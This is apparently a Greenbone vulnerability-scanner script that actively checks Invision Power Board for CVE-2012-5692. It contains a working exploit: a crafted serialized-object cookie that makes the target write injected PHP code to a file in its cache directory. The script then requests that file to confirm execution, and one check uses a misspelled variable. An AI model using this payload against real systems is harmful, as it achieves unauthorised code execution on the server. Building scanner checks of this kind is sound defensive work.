Invision Power Board 'unserialize()' PHP Code Execution - Active Check

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:invision_power_services:invision_power_board";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103601");
  script_version("2023-12-22T16:09:03+0000");
  script_cve_id("CVE-2012-5692");
  script_tag(name:"last_modification", value:"2023-12-22 16:09:03 +0000 (Fri, 22 Dec 2023)");
  script_tag(name:"creation_date", value:"2012-11-01 16:02:27 +0200 (Thu, 01 Nov 2012)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_name("Invision Power Board 'unserialize()' PHP Code Execution - Active Check");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("invision_power_board_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("invision_power_board/installed");

  script_xref(name:"URL", value:"http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update/");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/22398/");

  script_tag(name:"summary", value:"Invision Power Board is prone to a PHP Code Execution
  vulnerability because it fails to properly sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"An attacker can exploit these issues to inject and execute
  arbitrary malicious PHP code in the context of the affected application. This may facilitate a
  compromise of the application and the underlying system, other attacks are also possible.");

  script_tag(name:"solution", value:"The vendor has released a patch to address this
  vulnerability.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");

if(!port = get_app_port(cpe:CPE))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

req = http_get(item:dir + "/index.php", port:port);
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if(!buf)
  exit(0);

prefix = eregmatch(pattern:"Cookie: (.+)session", string:buf);

host = http_host_name(port:port);
vtstrings = get_vt_strings();
file = vtstrings["lowercase_rand"] + ".php";

req = string("GET ", dir, "/index.php?<?error_reporting(0);print(___);phpinfo();die;?> HTTP/1.0\r\n",
             "Host: ", host, "\r\n",
             "Cookie: ",prefix,"member_id=a%3A1%3A%7Bi%3A0%3BO%3A15%3A%22db_driver_mysql%22%3A1%3A%7Bs%3A3%3A%22obj%22%3Ba%3A2%3A%7Bs%3A13%3A%22use_debug_log%22%3Bi%3A1%3Bs%3A9%3A%22debug_log%22%3Bs%3A27%3A%22cache%2F",file,"%22%3B%7D%7D%7D\r\n",
             "Connection: close\r\n\r\n");
buf = http_send_recv(port:port, data:req, bodyonly:FALSE);
if(!buff || buf !~ "^HTTP/1\.[01] 200")
  exit(0);

sleep(3);

url = dir + "/cache/" + file;
req = http_get(item:url, port:port);
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if(!buf)
  exit(0);

if("<title>phpinfo()" >< buf) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);